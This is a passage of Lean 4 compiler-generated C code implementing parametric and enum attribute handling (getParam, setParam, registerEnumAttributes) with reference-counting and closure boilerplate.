LEAN_EXPORT lean_object* l_Array_qsort_sort___at_Lean_registerParametricAttribute___spec__2___rarg___boxed(lean_object* x_1, lean_object* x_2, lean_object* x_3) {
_start:
{
lean_object* x_4;
x_4 = l_Array_qsort_sort___at_Lean_registerParametricAttribute___spec__2___rarg(x_1, x_2, x_3);
lean_dec(x_3);
return x_4;
}
}
LEAN_EXPORT lean_object* l_Lean_setEnv___at_Lean_registerParametricAttribute___spec__3___boxed(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4) {
_start:
{
lean_object* x_5;
x_5 = l_Lean_setEnv___at_Lean_registerParametricAttribute___spec__3(x_1, x_2, x_3, x_4);
lean_dec(x_3);
lean_dec(x_2);
return x_5;
}
}
LEAN_EXPORT lean_object* l_Lean_registerParametricAttribute___rarg___lambda__4___boxed(lean_object* x_1) {
_start:
{
lean_object* x_2;
x_2 = l_Lean_registerParametricAttribute___rarg___lambda__4(x_1);
lean_dec(x_1);
return x_2;
}
}
LEAN_EXPORT lean_object* l_Lean_registerParametricAttribute___rarg___lambda__5___boxed(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4, lean_object* x_5, lean_object* x_6, lean_object* x_7, lean_object* x_8, lean_object* x_9) {
_start:
{
lean_object* x_10;
x_10 = l_Lean_registerParametricAttribute___rarg___lambda__5(x_1, x_2, x_3, x_4, x_5, x_6, x_7, x_8, x_9);
lean_dec(x_6);
return x_10;
}
}
LEAN_EXPORT lean_object* l_Lean_registerParametricAttribute___rarg___lambda__7___boxed(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4, lean_object* x_5, lean_object* x_6, lean_object* x_7, lean_object* x_8, lean_object* x_9) {
_start:
{
uint8_t x_10; lean_object* x_11;
x_10 = lean_unbox(x_6);
lean_dec(x_6);
x_11 = l_Lean_registerParametricAttribute___rarg___lambda__7(x_1, x_2, x_3, x_4, x_5, x_10, x_7, x_8, x_9);
return x_11;
}
}
LEAN_EXPORT lean_object* l_Lean_registerParametricAttribute___boxed(lean_object* x_1, lean_object* x_2) {
_start:
{
lean_object* x_3;
x_3 = l_Lean_registerParametricAttribute(x_1, x_2);
lean_dec(x_2);
return x_3;
}
}
LEAN_EXPORT lean_object* l_Lean_RBNode_find___at_Lean_ParametricAttribute_getParam_x3f___spec__1___rarg(lean_object* x_1, lean_object* x_2) {
_start:
{
if (lean_obj_tag(x_1) == 0)
{
lean_object* x_3;
x_3 = lean_box(0);
return x_3;
}
else
{
lean_object* x_4; lean_object* x_5; lean_object* x_6; lean_object* x_7; uint8_t x_8;
x_4 = lean_ctor_get(x_1, 0);
x_5 = lean_ctor_get(x_1, 1);
x_6 = lean_ctor_get(x_1, 2);
x_7 = lean_ctor_get(x_1, 3);
x_8 = l_Lean_Name_quickCmp(x_2, x_5);
switch (x_8) {
case 0:
{
x_1 = x_4;
goto _start;
}
case 1:
{
lean_object* x_10;
lean_inc(x_6);
x_10 = lean_alloc_ctor(1, 1, 0);
lean_ctor_set(x_10, 0, x_6);
return x_10;
}
default:
{
x_1 = x_7;
goto _start;
}
}
}
}
}
LEAN_EXPORT lean_object* l_Lean_RBNode_find___at_Lean_ParametricAttribute_getParam_x3f___spec__1(lean_object* x_1) {
_start:
{
lean_object* x_2;
x_2 = lean_alloc_closure((void*)(l_Lean_RBNode_find___at_Lean_ParametricAttribute_getParam_x3f___spec__1___rarg___boxed), 2, 0);
return x_2;
}
}
LEAN_EXPORT lean_object* l_Array_binSearchAux___at_Lean_ParametricAttribute_getParam_x3f___spec__2___rarg(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4, lean_object* x_5) {
_start:
{
uint8_t x_6;
x_6 = lean_nat_dec_le(x_4, x_5);
if (x_6 == 0)
{
lean_object* x_7;
lean_dec(x_5);
lean_dec(x_4);
lean_dec(x_3);
x_7 = lean_box(0);
return x_7;
}
else
{
lean_object* x_8; lean_object* x_9; lean_object* x_10; lean_object* x_11; lean_object* x_12; lean_object* x_13; uint8_t x_14;
x_8 = lean_nat_add(x_4, x_5);
x_9 = lean_unsigned_to_nat(2u);
x_10 = lean_nat_div(x_8, x_9);
lean_dec(x_8);
lean_inc(x_3);
x_11 = lean_array_get(x_3, x_2, x_10);
x_12 = lean_ctor_get(x_11, 0);
lean_inc(x_12);
x_13 = lean_ctor_get(x_3, 0);
lean_inc(x_13);
x_14 = l_Lean_Name_quickLt(x_12, x_13);
if (x_14 == 0)
{
uint8_t x_15;
lean_dec(x_5);
x_15 = l_Lean_Name_quickLt(x_13, x_12);
lean_dec(x_12);
lean_dec(x_13);
if (x_15 == 0)
{
lean_object* x_16;
lean_dec(x_10);
lean_dec(x_4);
lean_dec(x_3);
x_16 = lean_alloc_ctor(1, 1, 0);
lean_ctor_set(x_16, 0, x_11);
return x_16;
}
else
{
lean_object* x_17; uint8_t x_18;
lean_dec(x_11);
x_17 = lean_unsigned_to_nat(0u);
x_18 = lean_nat_dec_eq(x_10, x_17);
if (x_18 == 0)
{
lean_object* x_19; lean_object* x_20;
x_19 = lean_unsigned_to_nat(1u);
x_20 = lean_nat_sub(x_10, x_19);
lean_dec(x_10);
x_5 = x_20;
goto _start;
}
else
{
lean_object* x_22;
lean_dec(x_10);
lean_dec(x_4);
lean_dec(x_3);
x_22 = lean_box(0);
return x_22;
}
}
}
else
{
lean_object* x_23; lean_object* x_24;
lean_dec(x_13);
lean_dec(x_12);
lean_dec(x_11);
lean_dec(x_4);
x_23 = lean_unsigned_to_nat(1u);
x_24 = lean_nat_add(x_10, x_23);
lean_dec(x_10);
x_4 = x_24;
goto _start;
}
}
}
}
LEAN_EXPORT lean_object* l_Array_binSearchAux___at_Lean_ParametricAttribute_getParam_x3f___spec__2(lean_object* x_1) {
_start:
{
lean_object* x_2;
x_2 = lean_alloc_closure((void*)(l_Array_binSearchAux___at_Lean_ParametricAttribute_getParam_x3f___spec__2___rarg___boxed), 5, 0);
return x_2;
}
}
LEAN_EXPORT lean_object* l_Lean_ParametricAttribute_getParam_x3f___rarg(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4) {
_start:
{
lean_object* x_5;
lean_inc(x_4);
lean_inc(x_3);
x_5 = l_Lean_Environment_getModuleIdxFor_x3f(x_3, x_4);
if (lean_obj_tag(x_5) == 0)
{
lean_object* x_6; lean_object* x_7; lean_object* x_8; lean_object* x_9;
lean_dec(x_1);
x_6 = lean_box(0);
x_7 = lean_ctor_get(x_2, 1);
lean_inc(x_7);
lean_dec(x_2);
x_8 = l_Lean_PersistentEnvExtension_getState___rarg(x_6, x_7, x_3);
lean_dec(x_3);
lean_dec(x_7);
x_9 = l_Lean_RBNode_find___at_Lean_ParametricAttribute_getParam_x3f___spec__1___rarg(x_8, x_4);
lean_dec(x_4);
lean_dec(x_8);
return x_9;
}
else
{
lean_object* x_10; lean_object* x_11; lean_object* x_12; lean_object* x_13; lean_object* x_14; lean_object* x_15; lean_object* x_16; lean_object* x_17; lean_object* x_18; uint8_t x_19;
x_10 = lean_ctor_get(x_5, 0);
lean_inc(x_10);
lean_dec(x_5);
x_11 = lean_box(0);
x_12 = lean_ctor_get(x_2, 1);
lean_inc(x_12);
lean_dec(x_2);
x_13 = l_Lean_PersistentEnvExtension_getModuleEntries___rarg(x_11, x_12, x_3, x_10);
lean_dec(x_10);
lean_dec(x_3);
lean_dec(x_12);
x_14 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_14, 0, x_4);
lean_ctor_set(x_14, 1, x_1);
x_15 = lean_array_get_size(x_13);
x_16 = lean_unsigned_to_nat(1u);
x_17 = lean_nat_sub(x_15, x_16);
x_18 = lean_unsigned_to_nat(0u);
x_19 = lean_nat_dec_lt(x_18, x_15);
lean_dec(x_15);
if (x_19 == 0)
{
lean_object* x_20;
lean_dec(x_17);
lean_dec(x_14);
lean_dec(x_13);
x_20 = lean_box(0);
return x_20;
}
else
{
lean_object* x_21; lean_object* x_22;
x_21 = lean_box(0);
x_22 = l_Array_binSearchAux___at_Lean_ParametricAttribute_getParam_x3f___spec__2___rarg(x_21, x_13, x_14, x_18, x_17);
lean_dec(x_13);
if (lean_obj_tag(x_22) == 0)
{
lean_object* x_23;
x_23 = lean_box(0);
return x_23;
}
else
{
uint8_t x_24;
x_24 = !lean_is_exclusive(x_22);
if (x_24 == 0)
{
lean_object* x_25; lean_object* x_26;
x_25 = lean_ctor_get(x_22, 0);
x_26 = lean_ctor_get(x_25, 1);
lean_inc(x_26);
lean_dec(x_25);
lean_ctor_set(x_22, 0, x_26);
return x_22;
}
else
{
lean_object* x_27; lean_object* x_28; lean_object* x_29;
x_27 = lean_ctor_get(x_22, 0);
lean_inc(x_27);
lean_dec(x_22);
x_28 = lean_ctor_get(x_27, 1);
lean_inc(x_28);
lean_dec(x_27);
x_29 = lean_alloc_ctor(1, 1, 0);
lean_ctor_set(x_29, 0, x_28);
return x_29;
}
}
}
}
}
}
LEAN_EXPORT lean_object* l_Lean_ParametricAttribute_getParam_x3f(lean_object* x_1) {
_start:
{
lean_object* x_2;
x_2 = lean_alloc_closure((void*)(l_Lean_ParametricAttribute_getParam_x3f___rarg), 4, 0);
return x_2;
}
}
LEAN_EXPORT lean_object* l_Lean_RBNode_find___at_Lean_ParametricAttribute_getParam_x3f___spec__1___rarg___boxed(lean_object* x_1, lean_object* x_2) {
_start:
{
lean_object* x_3;
x_3 = l_Lean_RBNode_find___at_Lean_ParametricAttribute_getParam_x3f___spec__1___rarg(x_1, x_2);
lean_dec(x_2);
lean_dec(x_1);
return x_3;
}
}
LEAN_EXPORT lean_object* l_Array_binSearchAux___at_Lean_ParametricAttribute_getParam_x3f___spec__2___rarg___boxed(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4, lean_object* x_5) {
_start:
{
lean_object* x_6;
x_6 = l_Array_binSearchAux___at_Lean_ParametricAttribute_getParam_x3f___spec__2___rarg(x_1, x_2, x_3, x_4, x_5);
lean_dec(x_2);
lean_dec(x_1);
return x_6;
}
}
LEAN_EXPORT lean_object* l_Lean_RBNode_find___at_Lean_ParametricAttribute_setParam___spec__1___rarg(lean_object* x_1, lean_object* x_2) {
_start:
{
if (lean_obj_tag(x_1) == 0)
{
lean_object* x_3;
x_3 = lean_box(0);
return x_3;
}
else
{
lean_object* x_4; lean_object* x_5; lean_object* x_6; lean_object* x_7; uint8_t x_8;
x_4 = lean_ctor_get(x_1, 0);
x_5 = lean_ctor_get(x_1, 1);
x_6 = lean_ctor_get(x_1, 2);
x_7 = lean_ctor_get(x_1, 3);
x_8 = l_Lean_Name_quickCmp(x_2, x_5);
switch (x_8) {
case 0:
{
x_1 = x_4;
goto _start;
}
case 1:
{
lean_object* x_10;
lean_inc(x_6);
x_10 = lean_alloc_ctor(1, 1, 0);
lean_ctor_set(x_10, 0, x_6);
return x_10;
}
default:
{
x_1 = x_7;
goto _start;
}
}
}
}
}
LEAN_EXPORT lean_object* l_Lean_RBNode_find___at_Lean_ParametricAttribute_setParam___spec__1(lean_object* x_1) {
_start:
{
lean_object* x_2;
x_2 = lean_alloc_closure((void*)(l_Lean_RBNode_find___at_Lean_ParametricAttribute_setParam___spec__1___rarg___boxed), 2, 0);
return x_2;
}
}
static lean_object* _init_l_Lean_ParametricAttribute_setParam___rarg___closed__1() {
_start:
{
lean_object* x_1;
x_1 = lean_mk_string_from_bytes("invalid '", 9);
return x_1;
}
}
static lean_object* _init_l_Lean_ParametricAttribute_setParam___rarg___closed__2() {
_start:
{
lean_object* x_1;
x_1 = lean_mk_string_from_bytes("'.setParam, attribute has already been set", 42);
return x_1;
}
}
static lean_object* _init_l_Lean_ParametricAttribute_setParam___rarg___closed__3() {
_start:
{
lean_object* x_1;
x_1 = lean_mk_string_from_bytes("'.setParam, declaration is in an imported module", 48);
return x_1;
}
}
LEAN_EXPORT lean_object* l_Lean_ParametricAttribute_setParam___rarg(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4) {
_start:
{
lean_object* x_5;
lean_inc(x_3);
lean_inc(x_2);
x_5 = l_Lean_Environment_getModuleIdxFor_x3f(x_2, x_3);
if (lean_obj_tag(x_5) == 0)
{
lean_object* x_6; lean_object* x_7; lean_object* x_8; lean_object* x_9;
x_6 = lean_box(0);
x_7 = lean_ctor_get(x_1, 1);
lean_inc(x_7);
x_8 = l_Lean_PersistentEnvExtension_getState___rarg(x_6, x_7, x_2);
x_9 = l_Lean_RBNode_find___at_Lean_ParametricAttribute_setParam___spec__1___rarg(x_8, x_3);
lean_dec(x_8);
if (lean_obj_tag(x_9) == 0)
{
lean_object* x_10; lean_object* x_11; lean_object* x_12;
lean_dec(x_1);
x_10 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_10, 0, x_3);
lean_ctor_set(x_10, 1, x_4);
x_11 = l_Lean_PersistentEnvExtension_addEntry___rarg(x_7, x_2, x_10);
x_12 = lean_alloc_ctor(1, 1, 0);
lean_ctor_set(x_12, 0, x_11);
return x_12;
}
else
{
lean_object* x_13; lean_object* x_14; lean_object* x_15; uint8_t x_16; lean_object* x_17; lean_object* x_18; lean_object* x_19; lean_object* x_20; lean_object* x_21; lean_object* x_22;
lean_dec(x_9);
lean_dec(x_7);
lean_dec(x_4);
lean_dec(x_3);
lean_dec(x_2);
x_13 = lean_ctor_get(x_1, 0);
lean_inc(x_13);
lean_dec(x_1);
x_14 = lean_ctor_get(x_13, 0);
lean_inc(x_14);
lean_dec(x_13);
x_15 = lean_ctor_get(x_14, 1);
lean_inc(x_15);
lean_dec(x_14);
x_16 = 1;
x_17 = l_Lean_Name_toString(x_15, x_16);
x_18 = l_Lean_ParametricAttribute_setParam___rarg___closed__1;
x_19 = lean_string_append(x_18, x_17);
lean_dec(x_17);
x_20 = l_Lean_ParametricAttribute_setParam___rarg___closed__2;
x_21 = lean_string_append(x_19, x_20);
x_22 = lean_alloc_ctor(0, 1, 0);
lean_ctor_set(x_22, 0, x_21);
return x_22;
}
}
else
{
lean_object* x_23; lean_object* x_24; lean_object* x_25; uint8_t x_26; lean_object* x_27; lean_object* x_28; lean_object* x_29; lean_object* x_30; lean_object* x_31; lean_object* x_32;
lean_dec(x_5);
lean_dec(x_4);
lean_dec(x_3);
lean_dec(x_2);
x_23 = lean_ctor_get(x_1, 0);
lean_inc(x_23);
lean_dec(x_1);
x_24 = lean_ctor_get(x_23, 0);
lean_inc(x_24);
lean_dec(x_23);
x_25 = lean_ctor_get(x_24, 1);
lean_inc(x_25);
lean_dec(x_24);
x_26 = 1;
x_27 = l_Lean_Name_toString(x_25, x_26);
x_28 = l_Lean_ParametricAttribute_setParam___rarg___closed__1;
x_29 = lean_string_append(x_28, x_27);
lean_dec(x_27);
x_30 = l_Lean_ParametricAttribute_setParam___rarg___closed__3;
x_31 = lean_string_append(x_29, x_30);
x_32 = lean_alloc_ctor(0, 1, 0);
lean_ctor_set(x_32, 0, x_31);
return x_32;
}
}
}
LEAN_EXPORT lean_object* l_Lean_ParametricAttribute_setParam(lean_object* x_1) {
_start:
{
lean_object* x_2;
x_2 = lean_alloc_closure((void*)(l_Lean_ParametricAttribute_setParam___rarg), 4, 0);
return x_2;
}
}
LEAN_EXPORT lean_object* l_Lean_RBNode_find___at_Lean_ParametricAttribute_setParam___spec__1___rarg___boxed(lean_object* x_1, lean_object* x_2) {
_start:
{
lean_object* x_3;
x_3 = l_Lean_RBNode_find___at_Lean_ParametricAttribute_setParam___spec__1___rarg(x_1, x_2);
lean_dec(x_2);
lean_dec(x_1);
return x_3;
}
}
static lean_object* _init_l_Lean_instInhabitedEnumAttributes___closed__1() {
_start:
{
lean_object* x_1; lean_object* x_2; lean_object* x_3;
x_1 = lean_box(0);
x_2 = l_Lean_instInhabitedTagAttribute___closed__7;
x_3 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_3, 0, x_1);
lean_ctor_set(x_3, 1, x_2);
return x_3;
}
}
LEAN_EXPORT lean_object* l_Lean_instInhabitedEnumAttributes(lean_object* x_1) {
_start:
{
lean_object* x_2;
x_2 = l_Lean_instInhabitedEnumAttributes___closed__1;
return x_2;
}
}
static lean_object* _init_l___auto____x40_Lean_Attributes___hyg_3178_() {
_start:
{
lean_object* x_1;
x_1 = l___auto____x40_Lean_Attributes___hyg_266____closed__29;
return x_1;
}
}
LEAN_EXPORT lean_object* l_Lean_RBNode_fold___at_Lean_registerEnumAttributes___spec__1___rarg(lean_object* x_1, lean_object* x_2) {
_start:
{
if (lean_obj_tag(x_2) == 0)
{
return x_1;
}
else
{
lean_object* x_3; lean_object* x_4; lean_object* x_5; lean_object* x_6; lean_object* x_7; lean_object* x_8; lean_object* x_9;
x_3 = lean_ctor_get(x_2, 0);
x_4 = lean_ctor_get(x_2, 1);
x_5 = lean_ctor_get(x_2, 2);
x_6 = lean_ctor_get(x_2, 3);
x_7 = l_Lean_RBNode_fold___at_Lean_registerEnumAttributes___spec__1___rarg(x_1, x_3);
lean_inc(x_5);
lean_inc(x_4);
x_8 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_8, 0, x_4);
lean_ctor_set(x_8, 1, x_5);
x_9 = lean_array_push(x_7, x_8);
x_1 = x_9;
x_2 = x_6;
goto _start;
}
}
}
LEAN_EXPORT lean_object* l_Lean_RBNode_fold___at_Lean_registerEnumAttributes___spec__1(lean_object* x_1) {
_start:
{
lean_object* x_2;
x_2 = lean_alloc_closure((void*)(l_Lean_RBNode_fold___at_Lean_registerEnumAttributes___spec__1___rarg___boxed), 2, 0);
return x_2;
}
}
LEAN_EXPORT lean_object* l_Array_qsort_sort___at_Lean_registerEnumAttributes___spec__2___rarg(lean_object* x_1, lean_object* x_2, lean_object* x_3) {
_start:
{
uint8_t x_4;
x_4 = lean_nat_dec_lt(x_2, x_3);
if (x_4 == 0)
{
lean_dec(x_2);
return x_1;
}
else
{
lean_object* x_5; lean_object* x_6; lean_object* x_7; lean_object* x_8; uint8_t x_9;
x_5 = l_Array_qsort_sort___at_Lean_registerParametricAttribute___spec__2___rarg___closed__1;
lean_inc(x_2);
x_6 = l_Array_qpartition___rarg(x_1, x_5, x_2, x_3);
x_7 = lean_ctor_get(x_6, 0);
lean_inc(x_7);
x_8 = lean_ctor_get(x_6, 1);
lean_inc(x_8);
lean_dec(x_6);
x_9 = lean_nat_dec_le(x_3, x_7);
if (x_9 == 0)
{
lean_object* x_10; lean_object* x_11; lean_object* x_12;
x_10 = l_Array_qsort_sort___at_Lean_registerEnumAttributes___spec__2___rarg(x_8, x_2, x_7);
x_11 = lean_unsigned_to_nat(1u);
x_12 = lean_nat_add(x_7, x_11);
lean_dec(x_7);
x_1 = x_10;
x_2 = x_12;
goto _start;
}
else
{
lean_dec(x_7);
lean_dec(x_2);
return x_8;
}
}
}
}
LEAN_EXPORT lean_object* l_Array_qsort_sort___at_Lean_registerEnumAttributes___spec__2(lean_object* x_1) {
_start:
{
lean_object* x_2;
x_2 = lean_alloc_closure((void*)(l_Array_qsort_sort___at_Lean_registerEnumAttributes___spec__2___rarg___boxed), 3, 0);
return x_2;
}
}
LEAN_EXPORT lean_object* l_List_mapTR_loop___at_Lean_registerEnumAttributes___spec__3___rarg___lambda__1(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4, lean_object* x_5, lean_object* x_6, lean_object* x_7, lean_object* x_8) {
_start:
{
lean_object* x_9;
lean_inc(x_7);
lean_inc(x_3);
lean_inc(x_2);
x_9 = lean_apply_5(x_1, x_2, x_3, x_6, x_7, x_8);
if (lean_obj_tag(x_9) == 0)
{
lean_object* x_10; lean_object* x_11; lean_object* x_12; lean_object* x_13; uint8_t x_14;
x_10 = lean_ctor_get(x_9, 1);
lean_inc(x_10);
lean_dec(x_9);
x_11 = lean_st_ref_take(x_7, x_10);
x_12 = lean_ctor_get(x_11, 0);
lean_inc(x_12);
x_13 = lean_ctor_get(x_11, 1);
lean_inc(x_13);
lean_dec(x_11);
x_14 = !lean_is_exclusive(x_12);
if (x_14 == 0)
{
lean_object* x_15; lean_object* x_16; lean_object* x_17; lean_object* x_18; lean_object* x_19; lean_object* x_20; uint8_t x_21;
x_15 = lean_ctor_get(x_12, 0);
x_16 = lean_ctor_get(x_12, 4);
lean_dec(x_16);
x_17 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_17, 0, x_2);
lean_ctor_set(x_17, 1, x_3);
x_18 = l_Lean_PersistentEnvExtension_addEntry___rarg(x_4, x_15, x_17);
x_19 = l_Lean_registerTagAttribute___lambda__5___closed__1;
lean_ctor_set(x_12, 4, x_19);
lean_ctor_set(x_12, 0, x_18);
x_20 = lean_st_ref_set(x_7, x_12, x_13);
lean_dec(x_7);
x_21 = !lean_is_exclusive(x_20);
if (x_21 == 0)
{
lean_object* x_22; lean_object* x_23;
x_22 = lean_ctor_get(x_20, 0);
lean_dec(x_22);
x_23 = lean_box(0);
lean_ctor_set(x_20, 0, x_23);
return x_20;
}
else
{
lean_object* x_24; lean_object* x_25; lean_object* x_26;
x_24 = lean_ctor_get(x_20, 1);
lean_inc(x_24);
lean_dec(x_20);
x_25 = lean_box(0);
x_26 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_26, 0, x_25);
lean_ctor_set(x_26, 1, x_24);
return x_26;
}
}
else
{
lean_object* x_27; lean_object* x_28; lean_object* x_29; lean_object* x_30; lean_object* x_31; lean_object* x_32; lean_object* x_33; lean_object* x_34; lean_object* x_35; lean_object* x_36; lean_object* x_37; lean_object* x_38; lean_object* x_39; lean_object* x_40; lean_object* x_41;
x_27 = lean_ctor_get(x_12, 0);
x_28 = lean_ctor_get(x_12, 1);
x_29 = lean_ctor_get(x_12, 2);
x_30 = lean_ctor_get(x_12, 3);
x_31 = lean_ctor_get(x_12, 5);
x_32 = lean_ctor_get(x_12, 6);
lean_inc(x_32);
lean_inc(x_31);
lean_inc(x_30);
lean_inc(x_29);
lean_inc(x_28);
lean_inc(x_27);
lean_dec(x_12);
x_33 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_33, 0, x_2);
lean_ctor_set(x_33, 1, x_3);
x_34 = l_Lean_PersistentEnvExtension_addEntry___rarg(x_4, x_27, x_33);
x_35 = l_Lean_registerTagAttribute___lambda__5___closed__1;
x_36 = lean_alloc_ctor(0, 7, 0);
lean_ctor_set(x_36, 0, x_34);
lean_ctor_set(x_36, 1, x_28);
lean_ctor_set(x_36, 2, x_29);
lean_ctor_set(x_36, 3, x_30);
lean_ctor_set(x_36, 4, x_35);
lean_ctor_set(x_36, 5, x_31);
lean_ctor_set(x_36, 6, x_32);
x_37 = lean_st_ref_set(x_7, x_36, x_13);
lean_dec(x_7);
x_38 = lean_ctor_get(x_37, 1);
lean_inc(x_38);
if (lean_is_exclusive(x_37)) {
lean_ctor_release(x_37, 0);
lean_ctor_release(x_37, 1);
x_39 = x_37;
} else {
lean_dec_ref(x_37);
x_39 = lean_box(0);
}
x_40 = lean_box(0);
if (lean_is_scalar(x_39)) {
x_41 = lean_alloc_ctor(0, 2, 0);
} else {
x_41 = x_39;
}
lean_ctor_set(x_41, 0, x_40);
lean_ctor_set(x_41, 1, x_38);
return x_41;
}
}
else
{
uint8_t x_42;
lean_dec(x_7);
lean_dec(x_4);
lean_dec(x_3);
lean_dec(x_2);
x_42 = !lean_is_exclusive(x_9);
if (x_42 == 0)
{
return x_9;
}
else
{
lean_object* x_43; lean_object* x_44; lean_object* x_45;
x_43 = lean_ctor_get(x_9, 0);
x_44 = lean_ctor_get(x_9, 1);
lean_inc(x_44);
lean_inc(x_43);
lean_dec(x_9);
x_45 = lean_alloc_ctor(1, 2, 0);
lean_ctor_set(x_45, 0, x_43);
lean_ctor_set(x_45, 1, x_44);
return x_45;
}
}
}
}
LEAN_EXPORT lean_object* l_List_mapTR_loop___at_Lean_registerEnumAttributes___spec__3___rarg___lambda__2(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4, lean_object* x_5, lean_object* x_6, lean_object* x_7, lean_object* x_8, lean_object* x_9) {
_start:
{
lean_object* x_10; lean_object* x_11; lean_object* x_12; lean_object* x_13; lean_object* x_14;
lean_dec(x_6);
x_10 = lean_st_ref_get(x_8, x_9);
x_11 = lean_ctor_get(x_10, 0);
lean_inc(x_11);
x_12 = lean_ctor_get(x_10, 1);
lean_inc(x_12);
lean_dec(x_10);
x_13 = lean_ctor_get(x_11, 0);
lean_inc(x_13);
lean_dec(x_11);
lean_inc(x_2);
x_14 = l_Lean_Environment_getModuleIdxFor_x3f(x_13, x_2);
if (lean_obj_tag(x_14) == 0)
{
lean_object* x_15; lean_object* x_16;
lean_dec(x_5);
x_15 = lean_box(0);
x_16 = l_List_mapTR_loop___at_Lean_registerEnumAttributes___spec__3___rarg___lambda__1(x_1, x_2, x_3, x_4, x_15, x_7, x_8, x_12);
return x_16;
}
else
{
lean_object* x_17; lean_object* x_18; lean_object* x_19; lean_object* x_20; lean_object* x_21; lean_object* x_22; uint8_t x_23;
lean_dec(x_14);
lean_dec(x_4);
lean_dec(x_3);
lean_dec(x_2);
lean_dec(x_1);
x_17 = l_Lean_MessageData_ofName(x_5);
x_18 = l_Lean_registerTagAttribute___lambda__6___closed__2;
x_19 = lean_alloc_ctor(7, 2, 0);
lean_ctor_set(x_19, 0, x_18);
lean_ctor_set(x_19, 1, x_17);
x_20 = l_Lean_registerTagAttribute___lambda__6___closed__4;
x_21 = lean_alloc_ctor(7, 2, 0);
lean_ctor_set(x_21, 0, x_19);
lean_ctor_set(x_21, 1, x_20);
x_22 = l_Lean_throwError___at_Lean_registerTagAttribute___spec__1(x_21, x_7, x_8, x_12);
lean_dec(x_8);
lean_dec(x_7);
x_23 = !lean_is_exclusive(x_22);
if (x_23 == 0)
{
return x_22;
}
else
{
lean_object* x_24; lean_object* x_25; lean_object* x_26;
x_24 = lean_ctor_get(x_22, 0);
x_25 = lean_ctor_get(x_22, 1);
lean_inc(x_25);
lean_inc(x_24);
lean_dec(x_22);
x_26 = lean_alloc_ctor(1, 2, 0);
lean_ctor_set(x_26, 0, x_24);
lean_ctor_set(x_26, 1, x_25);
return x_26;
}
}
}
}
LEAN_EXPORT lean_object* l_List_mapTR_loop___at_Lean_registerEnumAttributes___spec__3___rarg___lambda__3(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4, lean_object* x_5, lean_object* x_6, uint8_t x_7, lean_object* x_8, lean_object* x_9, lean_object* x_10) {
_start:
{
lean_object* x_11;
lean_inc(x_9);
lean_inc(x_8);
x_11 = l_Lean_Attribute_Builtin_ensureNoArgs(x_6, x_8, x_9, x_10);
if (lean_obj_tag(x_11) == 0)
{
lean_object* x_12; uint8_t x_13; uint8_t x_14;
x_12 = lean_ctor_get(x_11, 1);
lean_inc(x_12);
lean_dec(x_11);
x_13 = 0;
x_14 = l___private_Lean_Attributes_0__Lean_beqAttributeKind____x40_Lean_Attributes___hyg_367_(x_7, x_13);
if (x_14 == 0)
{
lean_object* x_15; lean_object* x_16; lean_object* x_17; lean_object* x_18; lean_object* x_19; lean_object* x_20; uint8_t x_21;
lean_dec(x_5);
lean_dec(x_3);
lean_dec(x_2);
lean_dec(x_1);
x_15 = l_Lean_MessageData_ofName(x_4);
x_16 = l_Lean_registerTagAttribute___lambda__6___closed__2;
x_17 = lean_alloc_ctor(7, 2, 0);
lean_ctor_set(x_17, 0, x_16);
lean_ctor_set(x_17, 1, x_15);
x_18 = l_Lean_registerTagAttribute___lambda__7___closed__2;
x_19 = lean_alloc_ctor(7, 2, 0);
lean_ctor_set(x_19, 0, x_17);
lean_ctor_set(x_19, 1, x_18);
x_20 = l_Lean_throwError___at_Lean_registerTagAttribute___spec__1(x_19, x_8, x_9, x_12);
lean_dec(x_9);
lean_dec(x_8);
x_21 = !lean_is_exclusive(x_20);
if (x_21 == 0)
{
return x_20;
}
else
{
lean_object* x_22; lean_object* x_23; lean_object* x_24;
x_22 = lean_ctor_get(x_20, 0);
x_23 = lean_ctor_get(x_20, 1);
lean_inc(x_23);
lean_inc(x_22);
lean_dec(x_20);
x_24 = lean_alloc_ctor(1, 2, 0);
lean_ctor_set(x_24, 0, x_22);
lean_ctor_set(x_24, 1, x_23);
return x_24;
}
}
else
{
lean_object* x_25; lean_object* x_26;
x_25 = lean_box(0);
x_26 = l_List_mapTR_loop___at_Lean_registerEnumAttributes___spec__3___rarg___lambda__2(x_1, x_5, x_2, x_3, x_4, x_25, x_8, x_9, x_12);
return x_26;
}
}
else
{
uint8_t x_27;
lean_dec(x_9);
lean_dec(x_8);
lean_dec(x_5);
lean_dec(x_4);
lean_dec(x_3);
lean_dec(x_2);
lean_dec(x_1);
x_27 = !lean_is_exclusive(x_11);
if (x_27 == 0)
{
return x_11;
}
else
{
lean_object* x_28; lean_object* x_29; lean_object* x_30;
x_28 = lean_ctor_get(x_11, 0);
x_29 = lean_ctor_get(x_11, 1);
lean_inc(x_29);
lean_inc(x_28);
lean_dec(x_11);
x_30 = lean_alloc_ctor(1, 2, 0);
lean_ctor_set(x_30, 0, x_28);
lean_ctor_set(x_30, 1, x_29);
return x_30;
}
}
}
}
LEAN_EXPORT lean_object* l_List_mapTR_loop___at_Lean_registerEnumAttributes___spec__3___rarg(lean_object* x_1, uint8_t x_2, lean_object* x_3, lean_object* x_4, lean_object* x_5, lean_object* x_6) {
_start:
{
if (lean_obj_tag(x_5) == 0)
{
lean_object* x_7;
lean_dec(x_4);
lean_dec(x_3);
lean_dec(x_1);
x_7 = l_List_reverse___rarg(x_6);
return x_7;
}
else
{
lean_object* x_8; lean_object* x_9; uint8_t x_10;
x_8 = lean_ctor_get(x_5, 0);
lean_inc(x_8);
x_9 = lean_ctor_get(x_8, 1);
lean_inc(x_9);
x_10 = !lean_is_exclusive(x_5);
if (x_10 == 0)
{
